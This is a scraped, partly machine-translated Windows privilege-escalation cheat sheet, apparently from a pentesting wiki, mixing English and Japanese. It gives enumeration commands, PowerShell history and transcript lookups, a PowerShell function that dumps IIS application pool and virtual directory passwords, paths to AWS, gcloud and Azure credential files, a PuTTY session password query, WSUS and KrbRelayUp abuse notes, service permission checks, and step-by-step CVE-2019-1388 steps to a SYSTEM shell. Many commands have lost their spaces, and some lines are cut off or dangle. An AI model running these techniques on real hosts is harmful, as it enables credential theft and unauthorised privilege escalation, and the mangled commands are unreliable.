systeminfosysteminfo|findstr/B/C:"OS Name"/C:"OS Version"#Get only that informationwmicqfegetCaption,Description,HotFixID,InstalledOn#Patcheswmicosgetosarchitecture||echo%PROCESSOR_ARCHITECTURE%#Get system architecture
[System.Environment]::OSVersion.Version #Current OS versionGet-WmiObject-query'select * from win32_quickfixengineering'| foreach {$_.hotfixid} #List all patchesGet-Hotfix-description"Security update"#List only "Security Update" patches
ConsoleHost_history#Find the PATH where is savedtype%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttypeC:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption).HistorySavePathcat (Get-PSReadlineOption).HistorySavePath |slspassw
#Check is enable in the registryregqueryHKCU\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionregqueryHKLM\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionregqueryHKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionregqueryHKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\TranscriptiondirC:\Transcripts#Start a Transcription sessionStart-Transcript-Path"C:\transcripts\transcript0.txt"-NoClobberStop-Transcript
スクリプトブロックのログイベントは、Windowsイベントビューアのパス Application and Services Logs > Microsoft > Windows > PowerShell > Operational にあります。
最後の20件のイベントを表示するには、次のコマンドを使用できます：
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.
Then, それは悪用可能です。 If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
Read the research here:
WSUS CVE-2020-1013
完全なレポートをこちらで読む.
Basically, this is the flaw that this bug exploits:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).
KrbRelayUp
A ローカル特権昇格 vulnerability exists in Windows ドメイン environments under specific conditions. These conditions include environments where LDAP署名が強制されていない, users possess self-rights allowing them to configure リソースベースの制約付き委任 (RBCD), and the capability for users to create computers within the domain. It is important to note that these 要件 are met using デフォルト設定.
# CMDnetusers%username%#Menetusers#All local usersnetlocalgroup#GroupsnetlocalgroupAdministrators#Who is inside Administrators groupwhoami/all#Check the privileges# PSGet-WmiObject-ClassWin32_UserAccountGet-LocalUser|ftName,Enabled,LastLogonGet-ChildItemC:\Users-Force|select NameGet-LocalGroupMemberAdministrators|ftName,PrincipalSource
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (icacls"%%z"2>nul |findstr/i"(F) (M) (W) :\\"|findstr/i":\\ everyone authenticated users todos %username%"&&echo.))
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a"2>nul |findstr"(M) (F) :\"
sc と icacls も使用できます:
scquerystate=all|findstr"SERVICE_NAME:">>C:\Temp\Servicenames.txtFOR/F"tokens=2 delims= "%iin (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txtFOR/F%iin (C:\Temp\services.txt) DO @sc qc %i |findstr"BINARY_PATH_NAME">>C:\Temp\path.txt
regqueryhklm\System\CurrentControlSet\Services/s/vimagepath#Get the binary paths of the services#Try to write every service with its current content (to check if you have write permissions)for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-aclHKLM:\System\CurrentControlSet\services\* |Format-List*|findstr/i"<Username> Users Path Everyone"
Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl 権限を持っているかどうかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更することができます。
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1Get-ServiceUnquoted-Verbose
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
このチェックを悪用する方法の詳細については、次を参照してください：
ネットワーク
共有
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
ホストファイルにハードコーディングされた他の既知のコンピュータを確認します。
type C:\Windows\System32\drivers\etc\hosts
ネットワークインターフェースとDNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Open Ports
外部からの制限されたサービスを確認します
netstat -ano #Opened ports?
ルーティングテーブル
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARPテーブル
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them (notice that asking the client directly for the credentials is really risky):
低特権ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC バイパス
グラフィカルインターフェース（コンソールまたは RDP 経由）にアクセスでき、UAC が有効になっている場合、Microsoft Windows の一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
これにより、特権を昇格させ、同じ脆弱性を使用して同時に UAC をバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。
影響を受けるシステムの一部は以下の通りです：
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
この脆弱性を悪用するには、次の手順を実行する必要があります：
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
